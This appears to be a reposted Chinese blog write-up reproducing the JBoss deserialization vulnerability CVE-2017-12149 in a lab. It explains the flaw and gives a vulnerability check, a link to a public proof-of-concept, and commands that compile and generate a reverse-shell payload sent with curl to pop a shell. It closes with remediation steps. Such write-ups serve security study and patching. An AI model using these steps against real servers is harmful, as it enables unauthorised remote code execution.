Jboss反序列化漏洞复现(CVE-2017-12149)
Posted my-bl0g
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Jboss反序列化漏洞复现(CVE-2017-12149)相关的知识,希望对你有一定的参考价值。
漏洞环境:win7下配置的Jboss-as-6.1.0-final
漏洞原因:该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。受该漏洞影响的版本为Jbossas 5.x和6.x。
漏洞复现:
(1)环境搭建不再赘述,但是要记得开启远程访问,即修改jboss-6.1.0.Finalserverdefaultdeployjbossweb.sar下的server.xml,重启Jboss
(2)kali上尝试访问,成功
(3)访问http://192.168.201.128:8080/invoker/readonly,页面返回状态码为500,则存在该漏洞
(4)下载POC,https://github.com/joaomatosf/JavaDeserH2HC
(5)键入:javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java 将.java文件编译为 .class文件
(6)键入java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.201.133:8008生成二进制payload,并设置监听的地址和端口(自己修改)
(7)kali打开新窗口开始监听
(8)用curl发送二进制payload,可以看到监听窗口弹了shell回来
漏洞修复:
1、升级到JBOSS AS7
2、不需要 http-invoker.sar 组件的用户可直接删除此组件。
3、添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中:<url-pattern>/*</url-pattern>用于对 http invoker 组件进行访问控制。
参考链接:https://www.jianshu.com/p/e6bf3456c965
以上是关于Jboss反序列化漏洞复现(CVE-2017-12149)的主要内容,如果未能解决你的问题,请参考以下文章
6.JBoss5.x6.x 反序列化漏洞(CVE-2017-12149)复现